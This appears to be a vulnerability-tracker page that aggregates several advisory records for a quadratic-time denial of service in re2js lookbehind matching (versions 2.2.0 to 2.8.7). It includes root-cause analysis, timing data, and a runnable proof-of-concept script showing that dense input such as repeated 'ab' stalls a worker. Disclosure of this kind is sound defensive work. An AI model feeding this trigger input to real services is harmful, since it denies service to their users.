RE2JS: Quadratic-time denial of service in re2js lookbehind matching

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.

Source published

28 Oct 2026 17:14:15 UTC

Source modified

28 Oct 2026 17:14:15 UTC

Observed here

28 Oct 2026 18:46:48 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.

Source published

Oct 28, 2026, 5:14:15 PM (timezone not stated)

Source modified

Oct 28, 2026, 5:14:15 PM (timezone not stated)

Observed here

30 Oct 2026 22:47:56 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.

Source published

28 Oct 2026 18:17:14 UTC

Source modified

29 Oct 2026 16:19:37 UTC

Observed here

30 Oct 2026 22:45:44 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary Using the opt-in `LOOKBEHINDS` flag together with any repeated-matching API (`matcher().find()` in a loop, `matchAll()`, `split()`, `matcher().replaceAll()`) causes quadratic-time (Θ(n²)) matching, contradicting the library's own "linear time matching" guarantee. A single call with a 16,000-character input takes **36.7–38.7 seconds of CPU**. ### Description #### Root cause In `build/index.cjs`, `Machine.match`: ```js let currentPos = this.prog.numLb > 0 ? 0 : pos; // ~line 1907 ... if (this.ncap === 0 && this.matched) break; // ~line 1953 ``` Any pattern containing a lookbehind sets `prog.numLb > 0`, which forces the scan to **always restart at offset 0**, regardless of the requested start position — the lookbehind automaton is re-seeded and the whole input is re-walked on every single `find()` call. The early-exit optimization that would otherwise stop at the first match only fires when `ncap === 0`, but every `Matcher`-based API (`find`/`matchAll`/`split`/`replaceAll`) always requests `ncap = 2` (one capture group slot) **even for a captureless lookbehind pattern** — so the early exit never triggers through those APIs, and the scan continues to the end of the input on every find. A find-loop over *k* matches in an *n*-character string therefore costs *k* × Θ(*n*); for dense matches *k* ∝ *n*, giving **Θ(n²)** total. #### Isolating control Identical find-loop, identical input sizes, same 2-character literal pattern *shape* — but **without** the `LOOKBEHINDS` flag: | n | with `LOOKBEHINDS` (lookbehind pattern) | without (plain literal) | native JS `RegExp` lookbehind | |---|---|---|---| | 2,000 | 204–228 ms | 3 ms | 0 ms | | 4,000 | 877–899 ms | 4 ms | 0 ms | | 8,000 | 5,746–6,599 ms | 7 ms | 1 ms | | 16,000 | 36,667–38,732 ms | 6 ms | 1 ms | This isolates the lookbehind machinery itself — not pattern length, not match density in the abstract — as the exact and sole cause. #### Impact - `re2js`'s entire value proposition is being an RE2-style engine with **linear-time, no-backtracking** matching, specifically to resist algorithmic-complexity attacks that plague backtracking regex engines. This finding defeats that guarantee for any consumer using the advertised `LOOKBEHINDS` feature. - Realistic affected code paths: log/text processing that tokenizes or redacts using a lookbehind-based pattern (`matchAll`, `split`, `replaceAll` are the natural APIs for exactly this), applied to attacker-influenced text (user input, uploaded logs, scraped content). - A single ~16–32 KB request pins a CPU core for tens of seconds to minutes; Node.js being single-threaded, this freezes the whole worker process for the duration. No authentication or special pattern knowledge is required from the attacker — ordinary alternating text (`"abababab..."`) triggers it. #### Reproduction (copy-paste runnable) create file poc.js ```js 'use strict'; // PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag). // Usage: // npm pack [email protected] --ignore-scripts && tar -xzf re2js-2.8.6.tgz // node poc.js ./package const path = require('path'); const pkgDir = process.argv[2] || './package'; const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs')); const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS); function timeFindLoop(n) { const s = 'ab'.repeat(n / 2); const t0 = Date.now(); const m = re.matcher(s); let count = 0; while (m.find()) count++; return { ms: Date.now() - t0, count }; } console.log('n, matches, ms'); const sizes = [2000, 4000, 8000, 16000]; const results = []; for (const n of sizes) { const r = timeFindLoop(n); results.push(r.ms); console.log(`${n}, ${r.count}, ${r.ms}`); } const ratio = results[results.length - 1] / results[results.length - 2]; console.log(''); console.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 => linear, ~4 => quadratic)'); console.log(ratio > 3 ? 'PASS quadratic scaling confirmed on the REAL published package' : 'FAIL scaling looks linear'); process.exit(ratio > 3 ? 0 : 1); ``` and run in terminal ```sh npm pack [email protected] --ignore-scripts tar -xzf re2js-2.8.6.tgz node poc.js ./package ``` `poc.js` times a `matcher(s).find()` loop over `(?<=a)b` + `RE2JS.LOOKBEHINDS` on inputs of 2,000/4,000/8,000/16,000 chars and reports the doubling ratio. Expected: clearly superlinear (ratio ≫ 2, approaching or exceeding the 4× quadratic signature), reaching tens of seconds at 16,000 chars. Run twice; results are deterministic.

Source published

28 Oct 2026 21:10:01 UTC

Source modified

28 Oct 2026 21:30:03 UTC

Observed here

28 Oct 2026 21:55:29 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH